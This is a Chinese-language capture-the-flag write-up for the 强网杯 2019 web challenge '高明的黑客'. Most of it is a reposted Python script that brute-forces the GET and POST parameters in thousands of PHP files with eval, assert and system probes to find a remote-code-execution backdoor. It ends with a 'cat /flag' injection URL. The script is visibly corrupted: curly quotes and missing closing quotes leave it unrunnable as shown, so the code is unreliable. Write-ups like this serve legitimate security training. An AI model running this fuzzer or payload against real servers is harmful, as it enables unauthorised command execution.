[强网杯 2019] web题-高明的黑客

复现环境:buuoj.cn

[强网杯 2019] web题-高明的黑客_第1张图片
下载下来的源码很大,大到让人傻掉
[强网杯 2019] web题-高明的黑客_第2张图片
看了下大佬的wp 是说找出这些源码中所有的GET和POST请求,模拟请求一遍,看看那个能RCE能够使用。

这里贴出赵师傅的Python脚本 膜一波

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {
     }
    while str.find("$_GET[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_GET[‘", start) + 1)
        var = str[str.find("$_GET[‘", start) + 7: pos2]
        start = pos2 + 1

        params[var] = ‘echo("glzjin");# print(var)

    start = 0
    data = {
     }
    while str.find("$_POST[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_POST[‘", start) + 1)
        var = str[str.find("$_POST[‘", start) + 8: pos2]
        start = pos2 + 1

        data[var] = ‘echo("glzjin");# print(var)

    # eval test
    r = session.post(‘http://localhost:11180/web2/+ file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post(‘http://localhost:11180/web2/+ file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = ‘echo glzjin‘

    for i in data:
        data[i] = ‘echo glzjin‘

    r = session.post(‘http://localhost:11180/web2/+ file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)

tql!

跑出来以后直接查看
xk0SzyKwfzw.php?Efa5BVG=cat /flag
[强网杯 2019] web题-高明的黑客_第3张图片

你可能感兴趣的:(CTF练习)